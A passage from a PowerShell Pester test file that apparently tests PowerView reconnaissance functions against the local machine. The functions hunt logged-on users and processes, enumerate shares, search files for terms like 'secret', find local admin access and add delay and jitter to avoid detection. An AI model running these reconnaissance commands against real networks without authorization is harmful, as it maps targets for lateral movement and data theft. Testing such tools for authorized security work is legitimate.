It "Should accept splatting for Invoke-UserHunter" {
{Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw
}
}
Describe "Invoke-ProcessHunter" {
It "Should accept -ComputerName and -UserName arguments" {
if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
It "Should accept -ProcessName argument" {
if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -UserFile argument" {
"$env:USERNAME" | Out-File -Encoding ASCII target_users.txt
if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\target_users.txt"
}
It "Should accept -NoPing flag" {
if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Delay and -Jitter arguments" {
if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
Describe "Invoke-ShareFinder" {
It "Should accept -ComputerName argument" {
if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
It "Should accept -ExcludeStandard argument" {
{Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw
}
It "Should accept -ExcludePrint argument" {
if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -ExcludeIPC argument" {
if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -CheckShareAccess argument" {
if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -CheckAdmin argument" {
if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -NoPing argument" {
if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Delay and -Jitter arguments" {
if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
Describe "Invoke-FileFinder" {
It "Should accept -ComputerName argument" {
{Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
{Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
try {
It "Should accept -ShareList argument" {
"\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt
{Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw
}
}
finally {
Remove-Item -Force ".\shares.txt"
}
It "Should accept -Terms argument" {
{Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -OfficeDocs argument" {
{Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -FreshEXEs argument" {
{Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -LastAccessTime argument" {
{Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -LastWriteTime argument" {
{Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -ExcludeFolders argument" {
{Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -ExcludeHidden argument" {
{Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -CreationTime argument" {
{Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -OutFile argument" {
{Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw
if(Test-Path -Path .\found_files.csv) {
$Null = Remove-Item -Force .\found_files.csv
}
}
It "Should accept -NoPing argument" {
{Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept -Delay and -Jitter arguments" {
{Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw
}
}
Describe "Find-LocalAdminAccess" {
It "Should accept -ComputerName argument" {
if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
It "Should accept -NoPing argument" {
if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Delay and -Jitter arguments" {
if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
Describe "Invoke-EnumerateLocalAdmin" {
It "Should accept -ComputerName argument" {
if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
It "Should accept -NoPing argument" {
if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Delay and -Jitter arguments" {
if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Outfile argument" {
Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv"
".\local_admins.csv" | Should Exist
Remove-Item -Force .\local_admins.csv
}
}